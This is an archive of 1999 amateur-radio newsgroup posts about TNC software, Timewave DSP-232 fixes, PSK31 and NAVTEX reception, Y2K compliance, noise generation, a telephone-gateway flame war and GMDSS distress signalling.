http://lostrego.uvigo.es/pkt5mon/
(there is an English language version as well)

Of course this program is FREEWARE and as it has had so much success in our
local ham radio community, we thought about distributing it via the net so
that everybody could use it.

Greetings from EA1RCT (RadioLab at University of Vigo, Spain)

PS. (Feel free to forward this message to any other forum which may be interested in this software)

No joy from here -- but I think it's because the gw to the ampr.org is
designed to not allow traffic to flow. Here is a traceroute from me to
your address (I've lopped off the first few lines which are not
relevant to the discussion -- they just show the hops before the trace
got out into the 'real' internet).

Monday, April 05, 1999 09:01:32PM

1849. Help with MFJ 1278 & MultiCom software.

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-06 00:00:00 UTC
From: Wayne Patrick Kf4nac <awpatrick@mindspring.com>
Message-ID: <01be7fd5$8a9a9260$012345cf@toshiba>
Source record: 18705

I have a older MFJ 1278 I bought new a few years ago.
I also bought the MultiCom dos software package.
Now I want to get back on packet and the other digital modes and need
software for the 1278. My multicom floppy won't work anymore.
What I want to know is what's the best software,hardware setup? Are sound
cards better and where can I find more info on setup & software fot them?
Is MultiCom for windows copy protected? The old dos software was great,but
the protection is a pain (I'm on my 4th computer and 10th hd upgrade).
I would like to try 2mtr sstv from mir and locally. I also like hf sstv and
other modes.
The lack of software is why I put the controller in closet two years ago.

Thanks for any and all help on this.

Thanks,
Wayne KF4NAC
kf4nac@amsat.org or
awpatrick@mindspring.com

Hi John,

That last statement, about the difference of two noise sources being
better than either source alone, could you elaborate on that a little?
I mean, in the case of noise, what's the difference between the
difference and the sum, if you get my drift?

You don't need a D/A. You do need a shift register shifting at faster
than 70MHz, which is possible in the faster flavours of TTL. I'd use
ECL but then I take any chance I get to use ECL ....

I think John means the noise is more symmetric in amplitude
distribution. The negative peaks look like the
positive peaks. Its not whiter, but it is probably
more Guassian.

Opinions expressed herein are my own and may not represent those of my employer.

Often, a bunch of fresh flowers or in severe cases, a dinner at a nice restaurant will temporarily reduce the level of noise generated by these devices.

The information comes from Bruel & Kjaer, the audio test-gear
manufacturers. I don't know the mathematical basis, but I trust the
source. You may be right about the equivalence of sum and difference for
pure noise, but I'm not sure it applies if the probability distributions
of positive and negative excursions from the avalanche diodes are not
equal. In that case, I think there is sum difference.

Source record: 18715

I have replied to Gervais directly but felt others may like to check this software out. You can download tha same basic program that is shareware. The reg fee is only $25 USD. Turn your favorite browser to skyv1_4b.exe and also the upgrade sky1_5up.exe

http://ftp.barc.org/pub/hamradio/arrl/bbs/tcpip/

I have used this program and it looks and functions the same as the MFJ program. Try it, I don't think you will be disappointed.

73, and may all your signals be rare DX!

1864. Timewave DSP-232 Questions

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-06 00:00:00 UTC
From: DavidC <davidc@bit-net.com>
Message-ID: <7ee6vp$nf4$1@news2.bit-net.com>
Source record: 18720
Cross-posted to: alt.ham-radio.packet,rec.radio.amateur.digital.misc,rec.radio.amateur.equipment

I bought a Timewave DSP-232 at the end of 1998 and due to
a variety of issues have yet to fire it up. There were a number of
limitations to the advertised features at the time and fixes were
promised ... and mods and workarounds were expected to arise
from within the Ham community.

The unit has now been discontinued (it was actually a
dysfunctional piece of the inventory Timewave got from AEA --
and this stuff almost bankrupted Timewave since it wasn't ready
for market as they had expected).

Timewave's representation of the DSP-232 is found at this
url under "Discontinued Products":
http://www.timewave.com/amprods.html

I don't blame them for bailing on this device, it was a
real black hole of technical time for them ...

Is anyone aware of non-Timewave supported mods and
workarounds for the fullest possible functionality? Is anyone
aware of non-advertised upgrades?

I have also written Timewave but those in the Ham community
who are actually using a device are often the best informed!

Thanks! & 73,
~~~

1876. HELP with MFJ1278B

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-07 00:00:00 UTC
From: hetzlerc@aol.com
Message-ID: <19990407003130.17739.00003512@ng15.aol.com>
Source record: 18732

I don't have that problem yet. I had to buy the microphone switch box as I could not get it connected to the audio in and external speaker. I used the 3.5 mm stereo plug already connected at both ends on both and it just would not work. What kind of connections did you use? The other problem is the software. Its really not Win98 compatible like they told me. I dont have the custom controls in that software. Did you find any problems like this?

Thanks

Carole KD3FM

> pure noise, but I'm not sure it applies if the probability distributions
> of positive and negative excursions from the avalanche diodes are not
> equal. In that case, I think there is sum difference.

I just tried a quick'n'dirty test in Matlab,

```
x1=randn(10000,1); %make 10000 random (normal dist.) numbers
x2=randn(10000,1);

y1=(sign(x1).*(1.00001.^x1-1)); % a hack to make it asymmetric
y1=y1-mean(y1); % make sure theres no DC

y2=(sign(x2).*(1.00001.^x2-1));
y2=y2-mean(y2);

plot(y1+y2,'*');
figure
plot(y1-y2,'*');
```

The difference was very clear, y1+y2 is asymmetric around 0, just as y1
and y2 alone,
but y1-y2 is symmetric.

1878. Worked all Area Codes?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-07 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7efhep$pmh@enews3.newsguy.com>
Source record: 18734

Having trouble getting those last few contacts for your DXCC?
Use the Telephone!

It's easy! It's fast! It costs less! It requires no
knowledge or ability whatsoever!

Still can't talk to those rare and distant countries on 10
meters, even with an expensive new tribander?
Use the Telephone!

Do you have NTS Health 'n Welfare traffic which must be moved to a
recipient several hundred miles away? Use the Telephone!

Want to build an Amateur Radio Digital Network? Use the Telephone!

Want to reliably communicate with distant Hams while radiating
a minimum of RF? Use the Telephone!

For some strange reason, in every aspect of Amateur Radio
except Packet, it is widely recognized that using the Telephone is not an
appropriate response to the challenges we face as Ham Radio operators.
Everywhere else, there is an unspoken understanding that as Hams, we are
expected to be clever in our use of Radio and in the process of
overcoming those challenges, advance the art and better ourselves as
persons.

Why is it, I wonder, that the type of information we transmit
(Digital as opposed to Analog) makes any difference in this matter? Why is
it "OK" to bypass and undermine the use of Radio by Hams who want to
transmit Digital info, but not "OK" to do so for Analog stuff?

Is there a particular reason why advancing the art of Amateur Radio in
respect to moving Digital info is deemed to be of less importance to us as
Hams? Is there any logic behind the widely-held perception that
as long as you are handling Digital info, it doesn't really matter (As a
Ham) whether you use Radio to communicate or not?

In places where the regs specify that non-ham means of
communication not be allowed within the Amateur Radio Digital Net, there has
been unchecked progress and advancement over the last decade.
In those places where the use of Packet/Internet gateways have not been
regulated though, the opposite has happened and Network
infrastructure has been severely compromised while Hams have lost interest
and heart in large numbers. This is what has happened to the USA, Australia,
and other places where "packet hackers" have been given a free hand to do as
they wish.

I have read about FlexNet nodes in Europe which regularly handle 10 Megabytes per hour and more of traffic. That represents a high level of both physical and technical development and advancement, along with a high level of interest and enjoyment among the individual Packet ops there.

The difference is infrastructure. Use the Telephone instead of Radio, and infrastructure is what you give up. Sure, it's a challenge to build a digital RF network; It's expensive, difficult, frustrating, and sometimes appears to be impossible. The alternative though, is the mediocrity which follows those who prefer to cop out, cheat, and cheapen themselves while they undercut others.

I just don't see why our response to the challenges we face as Hams should be different when wanting to move Digital as opposed to Analog information.

I do not see why Hams using Radio is treated as being less important in the USA than it is in Europe.

Here we have the kind of response one can expect from the LandLine Lid community. - A rude personal attack, with no pretense of addressing the issue.

The issue is not addressed, of course, because this person had nothing relevant to say.

The character attack, of course, stemmed from a lack of character on Jim's part.

This is why Jim's response is so typical of what one can expect from a LandLine Lid, when the stupidity and destructiveness of their activities are pointed out. Lacking character and intelligence, his responses are of course limited in this way.

Creative Sevices Software, Inc owns the source code to PcPakRatt with the purchase last month. The goal is to take the addition feature of PcPakRatt and move them into the PkTerm product since PcPakRatt is a 16 bit product.

Since it is a 16 bit product, that could be the reason you're having trouble with it under Windows 98. We did test the 2.1 version under Windows 98 and Windows NT and it seems to run ok, and run as a 16 bit app (would like to hear from you and other what some of the problems you have run into with PakRatt under 95/98 or NT).

Good Grief!
I started this thread because I wanted to use my PC to *supplement*, not replace, my "human" CW skills. I am not anti-CW...I want to enjoy CW more. What's wrong with that? Half the comments on this thread are unnecessarily derogatory and are mis-directed. I am in favor of CW for licensing. This debate serves no purpose other than to drive sincere folks looking for help to yearn for the friendliness of the ham community of days gone by and worry about the future of the hobby. Heaven forbid I was a novice struggling to keep up with 5 wpm. I might be driven to 11 meters by this kind of smug one-up-manship.

I think you have your threads mixed up, Tom. This was started by
Babbling Charile, the X-Sysop, Supreme Leader of the Anti-Telephone
movement, who is bored because he can't find anybody to argue
with, so he posted his semi anual Land Line Lid rant in hopes of
stirring up the pot.

I'm happy you like CW. At least I know there are two of us left.

You can download PK TERM '99 from http://www.timewave.com It is a 32 bit WIN95/98/NT program. The demo version (That means free) runs Packet and listen only RTTY. If you like it the activation key is $79.95.

1895. BPSK demodulator?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-08 00:00:00 UTC
From: hinermad@worldnet.att.net
Message-ID: <36a35eaa.394261@news.uidaho.edu>
Source record: 18551

Can anybody point me to a circuit that will demodulate BPSK? I've seen quite a few programs that use DSP to do it (COHERENT comes to mind) but I'd prefer a hardware solution.

Dave

1896. new psk31 software

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-08 00:00:00 UTC
From: hamguru@my-dejanews.com
Message-ID: <7eiect$a1e$1@nnrp1.dejanews.com>
Source record: 18552
Cross-posted to: rec.radio.amateur.policy,rec.radio.amateur.digital.misc

For Analyzer2000, a PSK31 extension has been finished now.
Due to this, the new RTTY mode becomes more easy and comfortable.
The new basic software and the psk31 extension as well are ready to
download at:

http://members.aol.com/btf1

Features:
* Big spectrum 1 kHz +/- 250 Hz
* free scalable phase diagram with setable lumination
* special marker to set the mixer frequency
* display of tuning error
* AFC function
* textinput/output via TCP/IP (telnet)
* comfortable terminal program within psk31 package

In parallel with PSK31 operation, the usual analyzer features are obviously
available:

+++Superfast spectral analysis with FFT display for time and frequency variant
signals
+++FFT sizes from 256 to 16384 points, dynamic range up to 160 dB, graphical
zoom up to 32:1
+++Time analysis with oscilloscope and envelope display
+++Sonagraphic analysis with waterfall display
+++Measurement tools like markers, frequency rulers, level rulers, time rulers
+++Easy determination of THD, SNR (SINAD) and VCO phase noise (dBc/Hz)
+++Built-in test generator for sinewave and/or noise stimulation (full duplex
mode)
+++Multi morse decoder
+++Simultaneous recording directly from PC sound card to standard wave file
+++Snapshot functionality (20 seconds post trigger memory)
+++Analyzing of standard wave files or post trigger memory in offline mode

From: Nigle <evolx3@hotmail.com>
Message-ID: <7ejd9u$e73$1@autumn.news.rcn.net>
Source record: 18554

Greetings,

I am looking for info on TNC's. I have been looking to purchase a used one or two. Will the firmware and other stuff built into most TNC's survive Y2K? Are there any mfr's that claim their tnc is Y2k compliant?

Will a packet system survive if my Y2K compliant computer says its 00 and the tnc (I remember the pk-88) says its 80??

Another thing to worry about? Thanks for reading. N3RIK (Bruce)

1902. Re: NAVTEX & SCS PACTOR II (HELP!)

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-08 00:00:00 UTC
From: kh2d@my-dejanews.com
Message-ID: <7ekjfl$v3g$1@brokaw.wa.com>
Source record: 18558

Somebody will slap me if I'm wrong, but I don't think NAVTEX is PACTOR, I think it's the same as mode B AMTOR (FEC) mode. I can copy (long time ago) NAVTEX here with a very old KAM with no PACTOR mode at all, so I know it's not PACTOR.

The old KAM manual says 518 khz, LSB. It also states the receiving station keeps track of the message numbers, and only will receive them once. The KAM can be configured to only receive specific messages, so maybe your black box can too, I'm not familiar with the one you have.

Source record: 18563

I have been trying for some time to receive NAVTEX on my boat using the SCS PACTOR II modem,without success.I have read the manual, & it should work in standby mode, I have tried manually configuring the modem by setting ARX and BC to 1. I have set the tones for 170Hz, and detuned the signal to 519.7kHz, and only get the odd character. I am using an ICOMIC706 MkII transceiver with an SCS ATU tuning a wire backstay. Any comments or suggestions would be most welcome. I am entirely new to digital comms so may be missing something obvious!

AEA/Timewave seems to have completely (or conveniently) forgotten about this product. I've given up on it and tossed it in the trash.

Their PK-96 was a pretty nice product, but I will probably never buy another Timewave product again after the DSP-232 experience. It's a shame, because their pricing is very reasonable (unlike Kantronix, whose recent price hike is way out of line).

True, but the SCS PTC-II does amtor. If it's in standby with L=0, ARX=1
and BC=1 then it will receive amtor FEC as well as responding to pactor
and amtor ARQ link requests.

If you don't get an answer here, go to the SCS web page and send them an
e-mail - I'm sure they can answer your question.

Maybe if Timewave priced their products in a way that they
would have money to handle support, they would please
more customers.

Kantronics seems to have found the price that delivers
both product and support. Timewave has not.

What is reasonable, when there are only 100,000
potential buyers??

In any case, Hams need to forget the 1.2 kbps packet radio,
and move on. This isn't 1988 anymore.

You have to set the DCD pot on the front panel to be out with no signal, and come on with a signal present. It takes some dinking around to get it right. It's in the manual if you have one. If not, just open the squelch on the rig, with just the static, turn the pot until the LED just goes out. Watch when a packet comes in, the light should turn on and you should see the data onscreen.

Are you sure the signal polarity is correct? If USB then set TR=1, if LSB then set TR=3. Do you receive amateur RTTY and Amtor signals correctly? If so, the the polarity is correct. Also try Amtor mode with monitor off. I believe this will recognize the NAVTEX signal quicker than standby which has to look for both Amtor and Pactor signals.

One difficulty with Amtor FEC (mode B) is that you must receive good sync signals before you get any print so weak or noisy signals can result in no print at all.

> An analog...or voice...scanner can hear digital "squaking". But you won't be able to hear what's being said. US Federal Agencies also transmit a "quiet" signal that can be heard only as a sudden burst of white noise. Eventually, the market will sell a digital-reception scanner. But it's likely to be closely regulated, if legal at all.

I will never buy any Timewave product because of the way they have
handled the DSP-232 problem.

Hello Gordon:

The list has been posted several places, I'm sorry you missed the post. Here is a current status for the DSP-232.

Known Problems:

Poor sensitivity
Pactor turnover does not work
Mail Box does not function
No support in AEA/Timewave Software (PC PakRATT for Windows)
FAX is flaky

Timewave closed out the DSP-232's on hand at $100 with a limited warranty. We have since invested much of those proceeds in working out the bugs in the hardware and adding software support for the DSP-232.

Here is the progress to date:

PACTOR turnover is fixed and in BETA test with our BETA test users.

A simple component change was found that improves sensitivity

We have a small team working on mailbox problems but have not yet solved this problem.

PC PakRATT for Windows now supports the DSP-232. (A simple update for $29.95 fixes the Y2K problem that had existed in ver. 2.0 PC PakRATT for Windows and adds DSP232 support). PC PakRATT for Windows has been taken over by Creative Services Software Inc. who are working as partners with Timewave in developing software for all of the AEA/TIMEWAVE Multi-modes and TNC's. Another of Creative Services programs, PK TERM'99 also supports the DSP-232.

PK TERM '99 for WIN 95/98/NT can be downloaded from http://www.timewave.com and will run in a DEMO mode until the activation key is purchased for $79.95.

We will be making several new product announcements before Dayton and the price and availability of the DSP232 patch should be available then.

Our next announcement, coming this weekend is a new PK-900 DSP enhancement board that adds DSP capability to the PK-900.

That's the news from here in Lake Wobegon, MN. If you have any questions, Fire away.

Hello John,

I hope the trash has not been picked up yet, quite a bit has happened
regarding the DSP-232.

Timewave sold their remaining stock of DSP-232's in an as-is condition. i.e.
Packet, RTTY, ASCII working but no PacTOR or Mailbox operation. As it is, it
make a good DX Cluster/RTTY TNC. We re-invested some of those proceeds in the
DSP232 and have accomplished the following.

1) a simple component change that improves sensitivity
2) PacTOR has been fixed and is in test at the BETA sites, That upgrade will
be released soon.
3) PC PakRATT for Windows now supports the DSP-232
4) The new program PK TYERM '99 supports the DSP-232

The are several new product announcements coming soon. One for example is a DSP
enhancement board for the PK-900. We are planning on continuing and improving
the AEA products that we acquired when AEA went out of business.

Any questions? I'll be glad to answer any I can.

add to W9VHE---

All this assumes you have good audio connection between your transceiver and the PK-232 audio input, the volume is set sufficiently to get detections, and the radio switch on the front panel is correctly selected to the I/O connectors you're using.

If you're still having trouble, put up another posting describing in more detail what you are doing to try and decode the signals.

Good Luck and 73

Bruce,
At Timewave we have tested all of the recent and popular TNC's and Multimode data controllers built by Timewave and the late Advanced Electronics Applications, Inc. All of them are Y2K compliant. However, there are additional factors to consider:

First, is your computer, bios, and operating system Y2K compliant? Check it with one of the utilities available on the net or from your favorite computer store. We have a utility to test Y2K that we will post on our website for download (We did not write the utility, but we have permission to distribute it freely). Check later this weekend or early next week)

Second, most TNC's can use plug-in clock calendar chips. Timewave (or any other TNC manufacturer) cannot control the Y2K compliancy of these devices. Check with the clock-calendar manufacturer (Probably Dallas Semiconductor).

Third, after the other conditions have been met, is your terminal program Y2K compliant? If you operate in the command mode with a dumb terminal program, you will probably not have a problem. Everthing of that type we have tried has worked ok; however; most people use a more sophisicated program such as PC PakRatt for Windows or PK-Term'99. Both these programs are Y2K compatible in the latest versions. PK-Term'99 is a 32 bit program for Windos 95/98/NT and has been Y2K compatible from its inception at Creative Services Software. PC PakRatt for Windows Ver 2.0 was not Y2K compatible until Timewave and CSS collaborated in an effort to allow CSS to acquire the source code for PC PakRatt for Windows from its original author. This was accomplished in late March 1999, and CSS immediately upgraded the program to include Y2K compatibility, Timewave logos and icons, and support for the Timewave DSP-232, IDR-96 and Drake TR270. The result was released by Timewave on April 1, 1999. The new version is PC PakRatt 2.1 for Windows 3.1.

Timewave's website is http://www.timewave.com

The message <7af587kod1@dinkel.civ.utwente.nl>
from "Mogwai" <mogwai@smitsarnhem.com> contains these words:

> Hi all,

> I'd like to build a wireless RS-232 communication channel, so my robot can
> communicate with a PC. I searched the net for transmitter/receiver units,
> but only found commercial ones (which are far too expensive for a hobby
> project).

> So can anyone point me to an online design/schematic that I can use for my
> project.....

What about the pre-built low-power UHF devices. They cost around
25UKP (about 35USD) here in the uk for TX/RX pair.

Due to the way the RX works, you need to send about a dozen (timing /
phasing!) characters prior to the actual commands, etc. It is very
simple to implement with a PIC microprocessor on the RX.

You could send out say, a dozen letter 'A', have a 'start of sentence
character i.e '$', then the data.
At the RX end strip the '$', then everything after that is control data.

I think the uhf devices are limited to about 1200 baud, but that
should be fine for your requirements.

Regards
Steve H

Hello Glen:

last things first. The DSP-2232zx has been out into a hold in engineering while we produce several new products that produce sales that will allow us to finish the DSP-2232zx. In the last few months we have announced:

1) PK-232mbx DSP upgrade kit
2) PK-900 DSP upgrade kit
3) PK-232/DSP multimode (This is a run of new PK-232's with MBX and DSP)
4) PK TERM '99 (includes support for the DSP-232)
5) DSP-232 upgrade (drop me an email and I'll send you directions for a simple component change that improves sensitivity in the DSP-232)
6) PC PakRATT for Windows upgrade (includes support for the DSP-232)

There are some more things in the works that we expect to announce during 1999. My guess is that the DSP-2232zx is at least a year away. For those who wait we will honor the trade-in. I don't know if there will be a trade-in for the DSP-232 toward the PK-232/DSP, But I am pushing for one. I'll post any offers here on the net when they occur.

Lastly, We have Pactor working on the DSP-232 now and are working on the mailbox problem. If we find a solution for the MBX problem, The DSP-232 is actually a rather decent TNC. It certainly out performs any of the previous generation analog TNC's.

That's the news from near Lake Wobegon in central Minnesota.

Thanks for the report.
I guess I must have been expecting more fixes.
I bought mine for the 9600 packet.
Tried my DSP-232 out again last night. It is pretty much dead and
running pretty warm to touch on the case!!

1931. Looking for ampr.org web pages....

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-10 00:00:00 UTC
From: "D. Stussy" <kd6lvw@bde-arc.ampr.org>
Message-ID: <Pine.LNX.4.10.9904102255510.402-100000@dns.bde-arc.ampr.org>
Source record: 18587
Cross-posted to: rec.radio.amateur.digital.misc,alt.ham-radio.packet

I'm rebuilding part of the website for the Southern California Digital Communications Council (an amateur radio digital organization), and I'm looking for pages for bordering areas on the topics listed below. So far, I haven't found them via the usual search engines....

- TCP/IP address plans for domain "ampr.org" for the areas of:
- 2 - Northern California (east) - Sacramento
- 4 - Northern California (west) - San Francisco
- Uncertain if the "www.cave.org/..." page is appropriate?
-124- Arizona
-125- Nevada (Southern)
-173- Mexico (especially Baja California)

I'm also looking for the appropriate links to frequency coordinator pages for the following areas (for our miscellaneous links page):
- Arizona
- Found the "Arizona Repeater Association" page, but per the ARRL Repeater guide, some other organization is listed as FC.
- Nevada
- Mexico (Baja California)
- I know that "Baja TASMA" exists... but no web page?

Does anyone know if these pages exist somewhere (and if so, where)?

All NAVTEX broadcasts are made on 518 kHz, using narrow-band direct printing 7-unit forward error correcting (FEC or Mode B) transmission. This type of transmission is also used by Amateur Radio service (AMTOR). Broadcasts use 100 baud FSK modulation, with a frequency shift of 170 Hz. The center frequency of the audio spectrum applied to a single sideband transmitter is 1700 Hz. The receiver 6 dB bandwidth should be between 270-340 Hz.

Each character is transmitted twice. The first transmission (DX) of a specific character is followed by the ransmission of four other characters, after which the retransmission (RX) of the first character takes place, allowing for time-diversity reception of 280 ms.

Fore more information, see ITU Recommendations M.540-2 and M.476-5.

Also take a look at the following site:
http://www.navcen.uscg.mil/marcomms/gmdss/navtex.htm

Standard C520 G3RUH 9k6 Modification Method

[Italiano]

PTT --- Per il collegamento del PTT penso non ci siano problemi.
In ogni caso il filo va messo proprio in corrispondenza del
pulsantino
- ed e' in comune con sia in V che in U.

VHF RX - Sulla terza piastrina il filo va messo al pin 11 del RCL10420 ,
un integrato a 20 pin.

UHF RX - Sulla seconda piastrina l 'integrato e' quello sotto la batteria
al litio,
quello con il quarzo appogiato su. Il pin e' sempre il numero 11.

TX VHF - Puoi notare sulla terza piastrina un connettore a 15 pin
TX UHF - i punti sono l'11 e il 12.

[English]

PTT --- For the connection of the PTT task not there are problems.
In any case the wire goes put just in correspondence of the
pulsantino
- and common with it is in V that in U.

VHF RX - On the third piastrina the wire goes put to pin the 11 of the
RCL10420,
integrating to 20 pin.

UHF RX - On the second piastrina l ' integrated e' that one under the
battery to
the litio, that one with the quartz appogiato on. Pin e' always
number 11.

TX VHF - You can notice on the third piastrina a connector to 15 pin

TX UHF - the points are the 11 and the 12.

There was a plan, but I don't have a current copy. You can get a reasonable
idea from ftp://packet.kvoa.com/pub/domain.txt (not quite up-to-date, but
close). If you have any specific questions, I can help you or you can contact
the IP address coordinator, kf7tp@cybertrails.com.

The Amateur Radio Council of Arizona is the recognized frequency coordination
activity (although there is at least one other "organization" claiming the right
to do so). http://www.phx-az.com/ARCA/ I don't think the frequency
coordination information is the very latest, but it's close.

1937. PK-900 DSP Upgrade announced by Timewave

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-11 00:00:00 UTC
From: jdouglas@timewave.com
Message-ID: <7ep43timr2@news.minn.net>
Source record: 18593

NEW! PK-900/DSP Upgrade for the PK-900

Timewave's Powerful DSP Technology improves the PK-900.

Now the finest analog data controller ever built can be even better. The PK-900/DSP daughter board brings a whole new level of performance to the PK-900. Weak signals and crowed bands won't stop your QSO. Noise and QRM are rejected by the DSP filter for better copy and fewer errors.

The PK-900/DSP upgrade kit provides more and better HF filtration. 39 Optimum DSP filters are selected automatically as you operate. The upgrade runs with all of your present software, or you can upgrade to the latest Y2K ready Windows 95/98/NT software PK TERM '99 and have control of three new CW DSP filters, 50,100 and 200 Hz.

The upgrade is user installable. Price and specifications are available at http://www.timewave.com

For questions and availability information, contact sales@timewave.com

What about the other issues that still remain.

1. Communications port problem that can
cause a TNC lockup. To test type
DISP Z several times in fast succession.
You will normally get a DSP error as I remember.

2. The MANY problems with the HOST mode.
For example, transparent mode does work
correctly.

ZFREE and ZSTATUS are not correct.

OVER command is flakey. Requried for
transparent overation.

As far as the sensitiiiivity error, the fix was known before
Timewave bought the rights to the unit from AEA.

Just curious.

Message-ID: <3710F837.4F741EC0@mbay.net>
Source record: 18597

Can anyone tell me if it is possible (and how) to change the font size
of the text in the MESSAGE LIST window? I use a high resolution setting
on my monitor (greater than 800x600), which allows me to see more
positions on the screen without scrolling, but the message text shrinks
to microscopic size. I've figured out how to change the map display text
to a larger size. It's the messages I'm concerned about and can't seem
to find anything in the documentation.

Can you hear the station? I receive NAVTEX on a KAM+, however, I have to bypass the internal antenna tuner in my IC765 and my external tuner as neither will tune to 518kHz and attenuate the signal to the point I cannot copy it. I found the best reception is using my tower for the antenna straight into the receiver.

AFAIK, all of the Mitreks, Micors, etc., use the same key. I
borrowed one from a friend and took it to a key shop to have
a copy made. The locksmith said his radio used the same key.
Possibly you should be able to check with local locksmiths and see
if one of them might have one he can copy for you.

Thanks Gary:

We are working on one problem at a time. We are not trying to put the DSP-232 back into production. Instead we are using some of the proceeds from the DSP-232 close-out sale to fix problems so the folks who bought the DSP-232 from AEA can get a bit more use out of them.

Right now it makes an excellent DX cluster/RTTY setup. With the PACTOR fix it is a bit better.

Judging from the many requests for the sensitivity mod, It was time to post that a fix is available again.

Any Timewave TNC or Multi-mode (without a smart-watch option installed)
running PK TERM '99 or Version 2.1 of PC PakRATT for Windows is Y2K ready. If
your not sure of your hardware platform and BIOS, Timewave will have a utility
available at no charge soon from the web site that will allow you to run a Y2K
test on your hardware. Watch http://www.timewave.com for the download.

Response written Sundak 11 April 1999 (There's that Y2K thing again <grin>)

another try this week. The modem can receive SITOR/AMTOR, I may try bypassing
the ATU for receiving (think it has a bypass switch for RX) and see if this
improves things at all. Have also tried an email to SCS, but there was
nothing they said I hadnt tried already.

Make sure you can hear a good reasonably strong signal before you even connect the PTC-II. Weak noisy static crash signals can make amtor FEC really difficult.

1950. Micro R/C FM receiver

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-12 00:00:00 UTC
From: Joe <joe@mistral.co.uk>
Message-ID: <7etql8kli1@starburst.uk.insnet.net>
Source record: 18606

Hi,

I am looking for schematics of other info on building a sub micro (<3 grams in weight) FM radio control receiver for model aircraft. Does anyone know anything about these type of circuits (the transmission is FSK modulated on the 35MHz band). I was thinking along the lines of a programmable PLL where a pic micro sets the centre freq of the PLL to the transmitter xTal freq. and directly decodes the signal. Would this work?

Any Help would be apreciated

Joe

1951. WANTED: Microphone for Kenwood TS-520 HF Transceiver

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-12 00:00:00 UTC
From: SWL <dk664@yahoo.com>

I've just acquired a Kenwood TS-520 HF Transceiver but it didn't come
with a microphone. If anyone has a Kenwood or a compatible microphone for
sale, I'd like to hear from you. Please send me an email to -
dk664@yahoo.com
Thank you.

1952. Components for synching clock to WWV?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-12 00:00:00 UTC
From: Tom Kreyche <tomkr@microsoft.com>
Message-ID: <7f0qiu$fl2@news.dns.microsoft.com>
Source record: 18608

There seem to be more clocks for the home advertised lately that synch their time to WWV or perhaps a local radio subcarrier.

Anyone know if there is a chip set available?

thanks, Tom KG6YJ

You need a key # 2135 for most Motorola mobiles.

The radio shack one actually uses WWVB (60KHz). Yes there is a chip
set, I was able to find one fairly quickly a few months ago with
a web search. The WWVB power has been increased in each of
the last two years. They hope to get to 60KW in a few years.

Sorry I don't have the URL handy.

We will demo Iphone Repeaterlink to a 5th grade class today.

Please call for K2DJ. Look for the K2COP repeater in the REPEATERLINK room.

We will be monitoring the repeater output in Fairport, NY at 1515 UTC (11:15 AM eastern time) today, Wednesday, April 14.

Sorry for the late notice. This demo is for a Radio Coaches class (the last of 10 classes).

73,
Peter, W2SKY

This is a job for a microcontroller - with the time data
sent at one bit per second you don't need much processing
power.

There was an article in Electronics World/Wireless World
some time back that showed a clock synched to MSF, England's
equivalent to WWVB. It used a Basic Stamp...

try several wraps of the cable around a toriod Steve - a lot of computer cables have them. Also the length (harmonics) has plagued me in the past as well - you may try that.

Global Maritime Distress and Safety System (GMDSS)
---
* What is GMDSS ?
The old maritime distress and safety system needed to be improved, that's why the International Maritime Organization decided that a new, improved system for distress, safety, radio communications and procedures, should be
established.

The basic concept for GMDSS is that search and rescue authorities ashore, as well as shipping in the immediate vicinity of the ship / persons in distress, will be rapidly alerted to a distress incident so that they can assist in a co-coordinated SAR operation with the minimum delay. The system
also provides for urgency and safety comms and the promulgation of maritime
safety info as meteo- and navigational warnings. GMDSS uses both satellite and terrestrial stations. Like most new systems, GMDSS needs specific high-
tech equipment. A typical GMDSS ship-station includes a message terminal with keyboard, monitor and printer. Further a remote alarm for distress transmissions and an Inmarsat-C transceiver. Other nice gadgets that may connected are navigators as the MK9 and MK10 for GPS, DGPS, Decca and Loran readout.

A ship must also have a COSPAS/SARSAT EPIRB or an INMARSAT EPIRB onboard (EPIRB = Emergency Position Indicating Radio Beacon). The SARSAT (Search and Rescue Satellite Aided Tracking) satellite monitors 121.5, 406 and

243 MHz and the COSPAS (Russian for SARSAT) satellite monitors 121.5 and 406 MHz, while INMARSAT monitors 1.6 GHz. EPIRBs transmit the callsign of the ship and trigger the various satellites. EPIRB relays can be found in the range 1.544-1.545 and 1.6455-1.6465 GHz.
Ships must fit equipment based on their areas of trading, irrespective of their size. The following four areas have been defined:
o A1: within range of a VHF coast station with DSC
o A2: within range of an MF coast station with DSC
o A3: within cover of International Marine Satellite system (INMARSAT)
o A4: all areas outside A1, A2 and A3

* Communication
Digital Selective Calling (DSC) is an integral part of the GMDSS and is used for transmitting distress alerts from ships and for transmitting the associated acknowledgments from coast stations. DSC is basically a calling system. Each call consists of a packet of digitized info of one of four priorities: Distress, Safety, Routine or Urgency. Messages can be routed to 'all stations' or to selected stations by using their selcal code. Distress messages are automatically broadcast to 'all stations'. Terrestrially there are a number of channels allocated, one on MF (2187.5 kHz), five on the maritime HF bands (4207.5, 6312, 8414.5, 12577, 16804.5 kHz) and 1 on VHF (Ch.70 - 156.525 Mhz). All these channels are simplex.

DSC is further used for establishing ship-shore communication. A number of paired (duplex) channels are allocated to permit suitably equipped ship or shore stations to alert the other when the originator wishes to establish
communication giving the type of communication and the proposed frequencies
for that communication. These are on MF/HF. For VHF Ch.70 is again used in simplex.

The information that can be passed by a DSC call includes:
o The caller's Maritime Mobile Service Identity or MMSI (a number that uniquely identifies the caller, similar to a phone number).

o The MMSI of the unit being called. This can be a specific unit or a group of units (for example all Coast Guard units).

o The caller's location. This can be derived directly from an interface to a GPS/Loran/SatNav receiver, or it can be entered manually.

o The requested working frequency & mode. This is the frequency and mode of emissions that will be used to transact business. DSC is only used for call set-up. Once the call is established the two parties change to a working frequency and mode to continue the call.

o The priority of call (Distress, Urgent, Safety, Routine).
DSC can be used for anything from distress calls, to setting up a routine phone patch through a commercial coast station.

